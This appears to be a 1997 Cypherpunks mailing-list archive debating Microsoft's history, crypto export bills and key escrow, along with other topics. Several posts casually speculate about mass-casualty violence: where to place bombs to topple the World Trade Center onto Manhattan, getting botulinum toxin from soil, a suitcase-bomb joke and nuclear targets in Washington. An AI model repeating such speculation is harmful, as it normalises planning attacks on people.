>He understood that computer software, and not the computer, especially in a
>world of microprocessors, was the most important part of the market. It
>might even be safe to say that BillG is responsible for at least the last
>10 years or so of Intel's existance...

Nonsense. A lot of those machines are running Linux, or other flavors of
Unix. And lots of other microprocessors comparable in every way to Intel's
processors are running the Mac OS, or some flavor of Unix, or whatever.

Had MS never existed, the world would still be consuming vast amounts of
microprocessors. Possibly more, many of us think.

( I use a Mac, as may be known to many of you. The issue of the OS is
separable from the issue of the processor...the Mac OS is no more tied to
the Motorola 680X0 than the MS OS is tied to the Intel x86. Indeed, the Mac
OS runs on the IBM/Motorola PowerPC, and the Windows NT OS runs on the DEC
Alpha (and used to run on the PPC).


>My understanding is that for all his apopletic "code reviews", Billzebub
>couldn't code his way out of a paper bag.
>

Also nonsense.

>Nonetheless, people who didn't share his "vision", like IBM, and DEC, and
>now Apple, and all the rest of his competition, got their clocks cleaned.

Utter nonsense. I lack the time to write about the early history of MS,
Seattle Computers, and Gary Kildall, but to make this claim above indicates
Bob is sacrificing objectivity for some sort of cheap shot in favor of MS.

I used to know Kildall, when he was hanging around Intel in the mid-70s,
and up until two weeks before his death. The situation was a lot more
nuanced than this "vision of Bill" argument suggests.

>Lot of dirty laundry there. Like the hint that Gates was actually thrown
>out of Harvard (well, "asked to leave", anyway, and all is certainly
>forgiven, now, after a $decamillion donation to the Harvard endowment...)
>because he used their computer resources, including their Zylog(?) chip
>emulator and PDP-11 BASIC source code to essentially port DEC BASIC to the
>Altair for resale. (Now what was that, Bill, about people duping *your*

Are you making this stuff up as you go along? You spout about the "vision
of Bill," but then you fantasize about how he and Paul got Altair Basic
out. As it happens, I also know the founders of Zilog, and the Z-80 was not
available at the time the Altair and IMSAI machines were gaining
popularity. (A friend of mine designed the IMSAI 8080, the first
semi-decent S-100 machine. I'm tempted to e-mail this fantasy to him and
give him his laugh for the evening.)

The larger issues of Bill Gates' contributions, or whatever, to the world
are much more nuanced than these fantasies would have it.

The issue of chip production is largely orthogonal to the issue of which OS
is being used. Like I said, if one believes the critics of Windows, Intel
would have sold _more_ chips had machines been less brain-damaged. Or maybe
it takes a 200 MHz Pentium Pro to make up for the inefficient OS.

But I won't buy the canonization of Bill Gates as the Engine of the
Revolution. If, as one wag put it, Princess Di was "Joan of Arc with a good
haircut," then does this make Bill Gates "Joan of Arc with a bad haircut"?

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 10 Sep 1997 13:47:53 +0800
To: Declan McCullagh <jseiger@cdt.org>
Subject: Re: House National Security committee guts SAFE, worse than no bill
In-Reply-To: <Pine.GSO.3.95.970909193137.9741A-100000@well.com>
Message-ID: <v0310280ab03be3885e10@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



I left out a "not" here:

At 8:42 PM -0700 9/9/97, Tim May wrote:


>The "software as free speech, which means it can be subjected to prior

"cannot be subjected to"


>restraint, government censorship, or export control" argument is proceeding
>nicely, thanks to Bernstein, Gilmore, Junger, Cohn, and others, and is a
>much more solid basis for ensuring civil liberties.

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amp@pobox.com
Date: Wed, 10 Sep 1997 17:28:46 +0800
To: ravage@ssz.com>
Subject: Re: Removing Tyranny from Democracy (Part II), (fwd)
In-Reply-To: <199709092317.SAA06435@einstein.ssz.com>
Message-ID: <Chameleon.873860071.amp@rcnu3077>
MIME-Version: 1.0
Content-Type: text/plain




>
>------------------------
>  From: Jim Choate <ravage@ssz.com>
>
>Forwarded message:
>
>> From: amp@pobox.com
>> Date: Tue, 09 Sep 1997 09:26:21 -0500
>> Subject: Re: Removing Tyranny from Democracy (Part II),
>>  was Democracy is the true enemy...
>> 
>> > I don't believe there are intrinsic flaws in democracy, so much as
>> > there are intrinsic flaws in *human*nature* that are coming to light
>> > after decades. government is a reflection of our human natures.
>> > one cannot really expect a government to correct the flaws of its
>> > users, any more than software could do the same.
>> 
>> No intrinsic flaws in democracy? 
>> 
>> Surely you jest. 
>
>Please be so kind as to detail your top three flaws...

1. In a democracy, 51% of the people can vote to enslave the other 49%

2. In a democracy, you can't have property rights because 51% can 
capriciously decide to confiscate anyone's property.

3. A pure democracy is true mob rule - a mob has no concience, or bounds to 
it's tyranny. Look into the history of ancient Athens.

---------------End of Original Message-----------------

------------------------
Name: amp
E-mail: amp@pobox.com
Date: 09/09/97
Time: 22:49:26
Visit me at http://www.pobox.com/~amp
==
     -export-a-crypto-system-sig -RSA-3-lines-PERL
#!/bin/perl -sp0777i<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<j]dsj
$/=unpack('H*',$_);$_=`echo 16dio\U$k"SK$/SM$n\EsN0p[lN*1
lK[d2%Sa2/d0$^Ixp"|dc`;s/\W//g;$_=pack('H*',/((..)*)$/)
==

'Drug Trafficking Offense' is the root passphrase to the Constitution.

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Wed, 10 Sep 1997 11:47:03 +0800
To: <cypherpunks@cyberpass.net>
Subject: Re: Removing Tyranny from Democracy (Part II), was Democracy is the true enemy...
Message-ID: <199709100251.WAA13881@mx01.together.net>
MIME-Version: 1.0
Content-Type: text/plain



>Democracy is as tyrannical as any other system if rights aren't respected.
>In those cases where limited government might have to make a decision
>concerning all, and there is time to debate the issue, democracy (either
>representative or direct) is the most just method.

  I see what we have at the moment is a tyranny over the majority by the 
tiny minority of the population that happen to hold the reigns of power 
... look at what Freeh et al. is trying to do ... shoving it right down 
our throats ... as we all used to say after Nam ... BOHICA!


Brian B. Riley --> http://www.macconnect.com/~brianbr
      For PGP Keys -  Send Email Subject "Get PGP Key"
   "...if you drink much from a bottle marked 'poison,' it is almost
     certain to disagree with you, sooner or later"  -- Lewis Carroll






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Wed, 10 Sep 1997 12:01:32 +0800
To: Michael Sims <jellicle@inch.com>
Subject: Re: House National Security committee guts SAFE, worse than no b
In-Reply-To: <199709100157.VAA16126@arutam.inch.com>
Message-ID: <Pine.GSO.3.95.970909225353.8461A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



Michael, you once again fail to note the important political issues here. 
Sometimes civil liberties, freedom, and constitutional rights must be
ignored in favor of pragmatism. It is important at all costs to remain a
player in the game. 

Instead of opposing bad crypto legislation, we should instead work inside
the process, to gain a seat at the table. That is why it is highly
significant that both Commerce and FBI want to rid us of our freedom but
would do it in subtly different ways. 

-Declan



On Tue, 9 Sep 1997, Michael Sims wrote:

> Jonah Seiger wrote:
> 
> > None the less, this is much bigger than a quibble over details,
> > IMHO. There are important policy implications of this language.  And
> > politically, it is extremely significant that Reinsch would be
> > critical at all, considering that the Committee voted to
> > substantially undercut the bill (one of Reinsch's top priorities). 
> > Perhaps you missed this nuance.
> 
> Well, I know that *I* feel much better now that I know about this
> nuance.  Knowing that the rulers of this country have significant
> differences about who should control the universal key management
> and encryption infrastructure once it's in place (who gets the Power) 
> really eases my concerns.  Thank you.
> 
> 
> -- Michael Sims
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brock N. Meeks" <brock@well.com>
Date: Wed, 10 Sep 1997 14:19:56 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: House National Security committee guts SAFE, worse than no bill
In-Reply-To: <Pine.GSO.3.95.970909193137.9741A-100000@well.com>
Message-ID: <Pine.3.89.9709092238.A11760-0100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





On Tue, 9 Sep 1997, Declan McCullagh wrote:

[Jonah Seiger writes]:
> > There are important policy implications of this language.  And politically,
> > it is extremely significant that Reinsch would be critical at all,
> > considering that the Committee voted to substantially undercut the bill
> > (one of Reinsch's top priorities).  Perhaps you missed this nuance.

[Declan takes over]:
> 
> The "important policy implication" of this language may just be Freeh
> serving as a convenient launching platform for trial balloons. Reinsch can
> swat them down as he sees fit if they get hit by too severe a barrage,
> then reintroduce them later after the clamor dies down. (Politically, BTW,
> it is much more interesting what Gore said today than Reinsch.) Like I
> said, bad cop and worse cop. Reinsch was critical of nuances -- ones that
> you perhaps missed -- not the general plan to wire in Big Brother.
> 

Gore didn't say shit.  Sorry but there is no polite way to say this.  
Gore's remarks at the SPA speech were a great example of "state speak" 
which the State Dept. has perfected, saying much and in "code" through 
the use of phrasing and even tone.

Gore said the White House couldn't support Freeh's plan... what he meant 
was "yet" because, in fact, thereis no formal plan to "accept."

But the minute that the House or Senate pass such a proposal out of 
committee is the minute WhH policy changes.  And I'll be anyone one 
that... any takers?

Gore is playing word games, practing for the run for the money in 2000.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Wed, 10 Sep 1997 11:41:24 +0800
To: cypherpunks@Algebra.COM
Subject: Re: [LONG} Funding Cypherpunks Projects
Message-ID: <199709100321.XAA10545@www.video-collage.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:54 PM 9/7/97 -0400, Robert Hettinga wrote:

>At 3:35 pm -0400 on 9/3/97, Tim May wrote:
...
>Certainly a bass-ackward way to do it. Unfortunately, that's the way Disney
>did it, or L.B. Mayer did it,  or Gates, or Edison, or Parekh did it. They
>had a picture in their head of the way the world worked, or should work,
>they did things, as cheaply as possible, which should work in that picture,
>and they were right. They still invested something, is my point, whether it
>was their money or their time, or their inspiration.
...
Gates?  The closest he had to a grand vision is being able to predict the
financial gain behind programming computers.  That in my opinion was
marketing savvy, not a grand vision, for lack of a readily available substitute.
You know about traf-o-data.  This was a far cry from what he now has.
He rode the wave by changing with the times, hedging his bets, being in the
right place at the right time, etc.
That, however is about all I know as the book he wrote was a little too
basic alone the lines of my interests for my tastes and I had to put it down
for more enjoyable activities like staring at the wall.
When I can next stomache reading more kindergarten level computer analogies,
I'll finish reading his book.
...

>> Asking Jim Clarke or Bill Gates to opine on his strategies for success is
>> not quite as pointless, but is not real useful either. Ask also Manny
>> Fernandez about Gavilan Computer. Or ask the financiers of Ovation,
>> Processor Technology, Mad Computers, Symbolics, Thinking Machines, Trilogy,
>> or a hundred other examples of companies that burned through a billion
>> dollars of hard-earned investor money.
...
Interesting note.  I heard that the guy that started Thinking Machines is
now an imagineer at one of the evil empires.  Who would have thought that
one of the guys responsible for parallel computing development would now be
building theme park rides.

BTW.  I love this little game of artistic response.  It actually reads like
a conversation and makes it a whole lot easier to take the origional post
out of context.  Remind me to use line numbers when I respond to one of your
posts with a long message.  Or at least number the paragraphs.  Not that it
would matter.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Wed, 10 Sep 1997 11:44:41 +0800
To: cypherpunks@Algebra.COM
Subject: Re: GAK patents, anyone?
Message-ID: <199709100329.XAA11461@www.video-collage.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:34 AM 9/9/97 +0200, Anonymous wrote:
...
>-----
>http://www.uspto.gov/web/offices/com/sol/notices/terrog.txt
>-----
>
>Petitioning to Make Special Patent Applications Relating to
>Inventions For Countering Terrorism
>
>New patent applications are normally taken up for
>examination in the order of their effective United States
>filing date.  However, the Commissioner may provide that a
>patent application will be advanced out of turn for
>examination if a petition to make the patent application
>special under 37 CFR 1.102(c) or (d) is granted.
>
>On July 31, 1996, Vice President Gore stated that "[i]t is
>imperative that those seeking to prevent terrorist
>activities have all of the tools necessary to accomplish
>their task."  In view of the importance of developing
>technologies for countering terrorism and the desirability
>of prompt disclosure of advances made in these fields, the
>Patent and Trademark Office is establishing a new category
>for petitions to accord "special" status to patent
>applications relating to counter-terrorism inventions.
>International terrorism as defined in 18 U.S.C. 2331 is
>"activities that
>(A) involve violent acts or acts dangerous to human life
>that are a violation of the criminal laws of the United
>States or of any State, or that would be a criminal
>violation if committed within the jurisdiction of the United
>States or of any State; (B) appear to be intended (i) to
>intimidate or coerce a civilian population; (ii) to
>influence the policy of a government by intimidation or
>coercion; or (iii) to affect the conduct of a government by
>assassination or kidnaping."
...
Back up just a minute.
Aren't inventions protected if the patent is pending?  If not, why do such
well known companies who undoubtly have savvy legal council produce products
stamped "patent pending"?
Is this just a way of forcing those who take this special treatment to bow
to additional government restrictions?  An action which they would have to
do as if they didn't, a competitor might get the inventors idea patented
before the inventor?
Sounds more like a manner to place certain inventions that are crucial to
"national security" under tighter regulations.
How long before they expand the definition?  Because, if they impose
additional contractual conditions upon the advanced patent, this could mean
that crypto could be regulated constitutionally in the future by regulating
who the inventor could share it with.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Attorney <sue_u@dev.null>
Date: Wed, 10 Sep 1997 14:52:41 +0800
To: cypherpunks@toad.com
Subject: Re: Mondex Broken
Message-ID: <3416340E.5AB7@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> 
> At 6:55 PM -0700 9/9/97, John Young wrote:
> >We've received from anonymous a report on breaking
> >Mondex's pilot system by TNO along with a confidential
> >1996 memo describing the break:
> ....
> >Included is a letter from the Bank of New Zealand to
> >Electronic Frontier Canada attempting to suppress
> >publication of the memo.

> You mean the way <elided> had lawyers send threatening letters to <elided>
> warning him not to further publicize the claimed security flaws in
> <elided>, the security product sold by <elided>?
 
> I myself received a phone call from <elided>, warning me to not to even
> make reference to the rumors that <elided> had flaws in it.

> There's even a chance this vague note here will cause <elided> to again
> contact me, warning me that even such <elisions> are not good enough for
> them.

Seize & Dee cyst.

? the Attorney






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Wed, 10 Sep 1997 12:07:25 +0800
To: <cypherpunks@Algebra.COM>
Subject: Re: FBI calls for mandatory key escrow; Denning on export ctrls (fwd)
Message-ID: <199709100359.XAA16278@mx01.together.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

 We have batted this around and around ... I am curious though what
the more legal-oriented among us feel the current wording portends for
us ... say it gets passed ... just what will be the legal status of
the use of non-GAKked crypto?

   There is little question that steganography will be raised to a
high art form under these proposals. That not withstanding, I would
just like to get a feel for exactly where it leaves the current PGP et
al. community?

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNBYbJsdZgC62U/gIEQKB+ACgplZ/gmiKJEQgM5syzV2u1ls1LpsAn3Th
7veoktJjakAcKVzXTi8m0L+9
=ws+o
-----END PGP SIGNATURE-----


Brian B. Riley --> http://www.macconnect.com/~brianbr
        For PGP Keys -  Send Email Subject "Get PGP Key"
  "Civilization is the progress toward a society of privacy. The
   savage's whole existence is public, ruled by the laws of his tribe.
   Civilization is the process of setting man free from men."
    -- Ayn Rand - The Fountainhead (1943)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Antonomasia <ant@notatla.demon.co.uk>
Date: Wed, 10 Sep 1997 07:57:33 +0800
To: remailer-operators@anon.lcs.mit.edu
Subject: Renaming TEA remailer
Message-ID: <199709092302.AAA05230@notatla.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



I am advised by Mark Hedges that Anonymizer, Inc. owns the trademark
for the product name "Anonymizer" and at his request I have changed
name of the tea remailer to 'Tea Remailer'.

I believe I have made changes everywhere the name appears.


--
##############################################################
# Antonomasia   ant@notatla.demon.co.uk                      #
# See http://www.notatla.demon.co.uk/                        #
##############################################################





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 10 Sep 1997 13:06:51 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Comdemnation of 'The Sovereign Individual'...
Message-ID: <199709100511.AAA08834@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



In the authors own words....

The Sovereign Individual
Davidson & Rees-Mogg
ISBN 0-684-81007-7

re: pp. 207 - 208

Chapter 8
The End of Egalitarian Economics
The revolution in Earnings Capacity in a World Without Jobs

   Those who have employed compulsion and local advantage to redistribute
income are destined to lose much of their power. This will alter the command
of resources. Privately generated wealth that heretofore has been
commandeered by the nation-state will be retained instead by those who earn
it. Increasing amounts of wealth will find their way into the hands of the
ablest entrepeneurs and venture capitalist worldwide. Globalization, along
with other characteristics of the information economy, will tend to increase
the income earned by the most talented individuals in each field. Because
the marginal value generated by superlative performance will be so huge, the
distribution of earnings capacity throughout the entire global economy will
take much the shape it does now in the performance professions like
athletics and opera.


I don't know about you but I don't think the implicit assumption in the
title about our current economic system qualifying as egalitarian is in any
way realistic.

Furthermore, it is seriously expected that the majority of people will
survive by doing the equivalent of porno flicks to pay the bills while a
handfull of people wield all the money, and hence the power in this system.
Man, this sounds like zaibatsu heaven.

How exactly is it better to take all those resources away from a government
I have some control over irrespective of my socio-economic standing (further
protecting my minority status) and give them to a system which tells me a
priori that I have little hope of getting any realistic income increase
irrespective of my effort level.

While it will be true we will be living in a world without jobs it won't be
the socio-fantasy of Star Trek but rather the simple fact that there are no
jobs to be had. And to top it off, their going to tell me up front that I
have no hope of support if something happens and I can't pay the fee for
government intervention. We are further shocked to realize that the tried
and true philanthrope won't be around because those sorts of resource uses
are inefficient and will be quickly eradicated because of it.

A call to the gas company,

"I'm sorry Mr. Bilbo, we can't turn your service back on because of your
not paying bills. If you wouldn't buy quite so much soup to feed those bums
you might have the money to pay the bills."

Yeah, take everything I got, take everything the person who might be
motivated to help me has for trying to help me, and then tell me I don't have
anything that I can do about it...woo woo, sounds like fun to me.

It may come as a shock to you, but money is not the goal. The goal is your
grandkids and the world they will live in.

We pay taxes to pay the bills of the indigent not to let the mother sit
around on her ass but rather to protect the innocent kids who don't have a
say in it. Those kids deserve a chance, whether you as an individual believe
in them or not, THAT is the cost of humanity. We are just stewards of this
reality, the real owners are the generations to be born. Their the ones we
have to explain ourselves to. Please review Santyana.

While I strongly suggest reading the book because it has a lot of good
individual ideas, the work taken as a whole is seriously flawed.

Also, please remember;

You are
What you do
When it counts

     -The Masao-


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Wed, 10 Sep 1997 12:31:44 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Gao's Chaos Cryptosystem Algorithm
Message-ID: <199709100424.AAA16792@www.video-collage.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:28 PM 9/8/97 PDT, Nobuki Nakatuji wrote:
>
>>
>>I will just repeat Prof. Choate's question, how do you generate Ch.
>>
>>
>Ch generate 
>
>begin
>Xn+1=aXn(1.0-Xn)
>return Xn+1
>end
>
>Do you understand Japanese ?
>If you understand Japanese,
>I will send theis of Gao's Chaos Cryptosystem to you.
>
I don't understand Japanese, barely got through discrete structures, and
hate calculus.  But I'd like to see the source for the aXn() function.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Wed, 10 Sep 1997 12:32:04 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Nuclear Hedge Funds / Social Engineering in History /  Wiretap DiFi
Message-ID: <199709100424.AAA16809@www.video-collage.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:01 PM 9/8/97 -0700, Bill Stewart wrote:
...
>On the other hand, 0.5 kt of ANFO in the basement wasn't quite enough
>to take the towers out.
...
The version that I read was that the truck was merely parked next to a
pillar hoping that that would do it.
The guys weren't physics majors.  With enough people here who speak in pure
math, there might be a few who could calculate the best spot for such a
device based on blueprints of the building.

My opinion, one place the charges primarily along one side.  The north one.
That way, when the columns give, the building falls on more of Manhattin.

BOOM!  Timberrr..

This is speculation, of course.  Purely for academic consideration and all that.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Wed, 10 Sep 1997 14:01:12 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: House National Security committee guts SAFE, worse than no bill
In-Reply-To: <Pine.GSO.3.95.970909204903.1768B-100000@well.com>
Message-ID: <199709100528.BAA07931@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

I dare!! I double dare!!

In <Pine.GSO.3.95.970909204903.1768B-100000@well.com>, on 09/09/97 
   at 08:51 PM, Declan McCullagh <declan@well.com> said:

>I was talking to someone after a law class this evening (we're covering
>electronic privacy topics, but unfortunately we're not at crypto yet). He
>suggested widespread civil disobedience. 

>Perhaps it's time to dare the Feds to prosecute you. Any volunteers?

>-Declan


>On Tue, 9 Sep 1997, Tim May wrote:

>> Just drop all work on SAFE and Pro-CODE sorts of things and focus efforts
>> on monkeywrenching GAK and widely distributing bootleg crypto around the
>> world, as fast as possible.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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Version: 2.6.3a
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3y4qTK64gwc=
=svhs
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Wed, 10 Sep 1997 12:53:44 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Bright, Loud and Quick OR...?
Message-ID: <199709100443.AAA18685@www.video-collage.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:20 AM 9/9/97 -0500, Frank wrote:
> "Building a nuclear capability would cost $1 billion or more, require
1,300 engineers, and take years. Developing biological weapons could cost
less than $100,000, require five biologists, and take just a few weeks,
using equipment that is readily available almost anywhere in the world."
Science News 5/18/96
...
>Disregarding the creative chemistry experiments available under your sink
and around the house, but considering the way the government and media can
characterize any assortment of household items or literature a question
arises - If you have meat in your refrigerator do you in fact have the basis
for a biological weapon of mass destruction? The fact that many foods can be
readily converted (by improper handling or outright negligence) to poisons
can beg the question of whether having food in your posession does not
constitute a health hazard to your children. AND we all know that the well
being of one child is what it is all about. Don't we? 
...
Don't disregard them too quickly.
I can't remember the name of the fungus, or the toxin extracted from it,
(and my science and technology encyclopedias are 2 hours away), but there is
a common fungus found in soil.  This is the stuff that can survive high temp
treatment.
IF memory serves, it's botulism, that is no guarantee.
Anyway, this toxin was listed in the text that I have access to as being one
of the strongest known to man.
And it is literally under your feet.

Of course I don't know how to distill it, but I could probably make some
guesses.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 10 Sep 1997 12:56:26 +0800
To: cypherpunks@Algebra.COM
Subject: The "Vision" Thang, and Tales out of School...
In-Reply-To: <199709100321.XAA10545@www.video-collage.com>
Message-ID: <v03110763b03bcc88dbc4@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:21 pm -0400 on 9/9/97, Sean Roach wrote:


> Gates?  The closest he had to a grand vision is being able to predict the
> financial gain behind programming computers.

Yes. And I'd call that a "grand vision", even in Tim's use of the phrase.
He understood that computer software, and not the computer, especially in a
world of microprocessors, was the most important part of the market. It
might even be safe to say that BillG is responsible for at least the last
10 years or so of Intel's existance...

If you "change with the times", but don't know where you're going, you'll
go nowhere at all. Knowing where you're going when you change, (and
actually being right :-)) is called "vision". For instance, Bill figured
out that he couldn't sell operating systems to people, he had to sell them
to computer manufacturers. That's what "vision" gets ya.

And I didn't say that technical "vision" was the only kind there is,
especially when it comes to making money. :-).

My understanding is that for all his apopletic "code reviews", Billzebub
couldn't code his way out of a paper bag.

His last effort was on the second version of Altair BASIC, and they had to
do a ground-up rewrite after he was through with it. After *his* version
shipped, of course. :-).

Nonetheless, people who didn't share his "vision", like IBM, and DEC, and
now Apple, and all the rest of his competition, got their clocks cleaned.

Ah, the wonders of pickleball, and dorm room poker, and a grandmother who
wouldn't let you have dessert unless you won the sack race.


If you can find it, go read "Hard Drive" (no, not *that* one..). An
unauthorized biography by a couple Seattle Post-Intelligencer reporters.
Written before, of course, Win 3.1 actually took over the world, otherwise
they would have been fired. :-). Heck, if they weren't then, they probably
are now, anyway.

Lot of dirty laundry there. Like the hint that Gates was actually thrown
out of Harvard (well, "asked to leave", anyway, and all is certainly
forgiven, now, after a $decamillion donation to the Harvard endowment...)
because he used their computer resources, including their Zylog(?) chip
emulator and PDP-11 BASIC source code to essentially port DEC BASIC to the
Altair for resale. (Now what was that, Bill, about people duping *your*
paper BASIC tape and *you* losing *your* "investment"?) And how his first
software "deal" was sneaking off with someone else's PDP-11(?) operating
system tapes and reselling them for a cool $10k at the tender age of 16.
Hmmm. Sounds familiar, yes, CPM/QDOS fans?

See, boys and girls? All it takes to be the supreme monopolist (okay, not
quite a monopolist, but close enough for government work) and the World's
Last Industrial Tycoon is a taste for larceny. Okay. And a 1600 SAT score...

But it's still very hard to see why they call it "intellectual" property.

We might as well legalize software "piracy" and be done with it. Recursive
auctions, anyone?

Cheers,
Bob Hettinga

"But, he didn't understand. The point was to *win*."
   -- Richard Nixon, on his first congressional opponent,
      who Nixon falsely accused of communism
      (well, he *was* a pinko, anyway...)


-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Wed, 10 Sep 1997 12:56:49 +0800
To: cypherpunks@Algebra.COM
Subject: [NOISE] Re: Suitcase for sale
Message-ID: <199709100451.AAA19641@www.video-collage.com>
MIME-Version: 1.0
Content-Type: text/plain



At 06:32 PM 9/9/97 +0200, Anonymous wrote:
>
>Weight of suitcase: 80 lbs.
>
>Scheduled to check in; check the weight.
>
>For details contact: toto@sk.sympatico.ca
>
SWAPSHOP:
Interested in one luggage carrier capable of holding 80 pound suitcase to
underside of wing of unmarked private plane that can be jettosoned remotely.
Looking for good offer as 1,000,000 already spent on suitcase.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Wed, 10 Sep 1997 13:57:33 +0800
To: sameer <sameer@c2.net>
Subject: Re: Government shows its hand...good news!
In-Reply-To: <199709100526.WAA07506@gabber.c2.net>
Message-ID: <199709100551.BAA08632@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

I am not even sure that it is Constutional for Congress to prevent the
Judicial review of the actions of the Executive branch.


In <199709100526.WAA07506@gabber.c2.net>, on 09/09/97 
   at 10:26 PM, sameer <sameer@c2.net> said:

>subject to review but the law can still be subject to review.

>> Let me clarify my earlier comments. The language sez Defense & Commerce
>> together can veto crypto exports, and:
>> 
>> "Decisions made by the Secretary of Commerce with the concurrence of the
>> Secretary of Defense with respect to exports of encryption products under
>> this section shall not be subject to judicial review."
>> 

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Wed, 10 Sep 1997 13:07:32 +0800
To: Tim May <tcmay@got.net>
Subject: RE: Nuclear Hedge Funds
In-Reply-To: <v03102803b03bbc3d22d3@[207.167.93.63]>
Message-ID: <Pine.GSO.3.95.970910005452.11331A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain




On Tue, 9 Sep 1997, Tim May wrote:
> Declan would be very unlikely to be in the lethal zone, unless he happened
> to be near one of the obvious targets.
> 
> (Which in my opinion would be the White House, the Congress, the Pentagon,
> or the densepack burrowcrat warrens. Using the above calculations, it is
